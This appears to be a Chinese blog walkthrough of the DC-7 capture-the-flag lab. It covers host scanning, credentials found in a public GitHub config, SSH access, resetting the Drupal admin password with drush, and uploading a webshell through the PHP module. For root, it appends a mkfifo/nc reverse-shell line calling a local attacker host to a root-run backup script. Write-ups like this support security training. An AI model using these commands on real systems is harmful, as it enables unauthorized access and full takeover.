DC-7 靶场学习
创始人
2025-05-28 11:13:59
0次

文章目录

  • 信息搜集
  • 账号密码获取
  • 修改密码
  • 反弹shell
  • 得到flag

信息搜集

首先获取目标ip。

arp-scan -l
nmap -sP 192.168.28.0/24

得到目标ip为：

192.168.28.139

先访问页面。

image-20230315141746777

翻译一下。


欢迎来到 DC-7DC-7引入了一些“新”概念，但我会让你弄清楚它们是什么。 :-)虽然这个挑战并不是那么技术性，但如果您需要诉诸暴力破解或字典攻击，您可能不会成功。你要做的，是“跳出框框”思考。“在”盒子外面。 :-)

提示说明本题不需要爆破密码，下边又发现了一个提示。

image-20230315144805669

账号密码获取

直接搜索DC7USER，staffdb/config.php at master · Dc7User/staffdb (github.com)

发现账号和密码。

但是却没法登录，扫目录也没发现其他登录服务，利用nmap扫描一下端口。

nmap -sV -A 192.168.28.139

image-20230315145503532
发现开放22端口，尝试ssh登录，成功。

ssh dc7user@192.168.28.139

image-20230315145652179
然后在该用户下发现邮件信息。

image-20230315145941842

修改密码

发现sh执行文件，查看。

cat /opt/scripts/backups.sh

image-20230315150024562
发现drush命令，使用该命令修改admin的密码。

drush user-password admin --password="123456"

image-20230315150352528

成功。

反弹shell

登陆后在Extend中发现可以安装模块，尝试安装php模块。

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

下载后解压上传即可，然后上传webshell。

image-20230315150828908

编辑完成后保存访问，同时本地打开接收。

image-20230315150903122

然后进入交互模式。

python -c 'import pty;pty.spawn("/bin/bash")'

image-20230315151143998

无法找到flag，尝试提权，利用刚刚的可执行文件提权，设定定时任务。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.28.142 4444 >/tmp/f" >>back*

image-20230315151504581

得到flag

时间有点长,反弹后直接到root中找flag即可。
在这里插入图片描述

词库加载错误:未能找到文件“E:\highferrum_mysql\Configuration\Dict_Stopwords.txt”。

上一篇：有什么外观漂亮的蓝牙耳机？高颜值真无线蓝牙耳机推荐

下一篇：全国青少年软件编程（Scratch）等级考试一级真题——2022.9

相关内容

热门资讯

安卓手机系统流畅版,极致性能与... 你有没有发现，最近你的安卓手机用起来是不是特别顺滑？没错，就是那种点屏幕就立刻响应的感觉，简直让人爱...
forest安卓系统换到苹果,... 你有没有想过，手机操作系统就像是我们生活中的不同道路，有时候，你可能觉得一条路走得太久了，想要换一条...
华为鸿蒙系统安卓平板,开启智能... 亲爱的读者们，你是否也像我一样，对科技圈的新鲜事儿充满好奇？今天，我要和你聊聊一个最近在科技圈掀起波...
安卓系统藏族软件下载,精选安卓... 安卓系统藏族软件下载：探索藏族文化的数字新篇章在数字化时代，手机已经成为我们生活中不可或缺的一部分。...
显示安卓系统耗电大,深度剖析原... 手机电量总是不够用？是不是觉得安卓系统耗电特别大？别急，今天就来给你揭秘安卓系统耗电的秘密，让你手机...
抽取原装安卓系统驱动,深度挖掘... 你有没有遇到过这种情况？手机里的安卓系统突然卡顿，或者某个应用突然罢工，这时候你是不是想给它来个“大...
安卓系统手机游戏排行,热门游戏... 你有没有发现，最近你的手机里是不是又多了一款游戏？没错，安卓系统手机游戏排行又更新了！今天，就让我带...
安卓系统叫AR 特效,安卓系统... 你知道吗？最近在安卓系统上出现了一个超级酷炫的新功能，它就是AR特效！是不是听起来就让人兴奋不已？那...
安卓系统特有的功能,解锁智能生... 你知道吗？安卓系统这个家伙，简直就是智能手机界的“全能选手”。它不仅拥有丰富的应用市场，还能给你带来...
iqoo 安卓系统王者跳帧,王... 最近有没有发现你的iqoo手机在玩王者荣耀时突然卡顿，画面跳帧，简直让人抓狂啊！别急，今天就来给你揭...
安卓系统平板画图,创意无限的艺... 你有没有想过，用平板画图竟然也能这么有趣呢？尤其是当你手握安卓系统平板的时候，那感觉简直就像拥有了整...
安卓系统韩文变成中文,安卓系统... 你是不是也遇到过这种情况？手机里突然冒出了韩文，而你却一头雾水，完全看不懂？别急，今天就来给你详细解...
国内邮箱注册安卓系统,轻松掌握... 你有没有想过，为什么你的手机里会有那么多邮箱呢？是不是每次注册新账号，都感觉像是在进行一场数字版的“...
苹果系统和安卓系统合作,跨界合... 你知道吗？最近科技圈可是炸开了锅，因为苹果系统和安卓系统竟然要联手合作啦！这可不是闹着玩的，两个在智...
安卓系统怎么篡改位置,轻松伪装... 你有没有想过，手机里的位置信息竟然也能被篡改？没错，就是那个我们平时用来导航、找餐馆、定位好友的安卓...
kindle 刷原生安卓系统,... 亲爱的读者们，你是否也有过这样的经历：拥有一台Kindle，却因为系统不够流畅而感到烦恼？别担心，今...
安卓点歌系统连电脑,打造个性化... 你有没有想过，你的安卓手机里的点歌系统竟然可以和电脑无缝连接呢？这听起来是不是很神奇？没错，今天就要...
那个电视搭载安卓系统,智能娱乐... 你有没有想过，家里的电视竟然也能搭载安卓系统？没错，就是那个曾经只存在于手机和平板电脑上的操作系统，...
安卓系统反黄软件,净化网络环境 你有没有发现，随着智能手机的普及，我们每天的生活越来越离不开这个小小的屏幕了。但是，你知道吗？在这个...
安卓怎么测试系统好坏,安卓系统... 你有没有想过，你的安卓手机是不是真的像你想象中那么强大呢？别急，今天就来给你揭秘，怎么测试安卓系统的...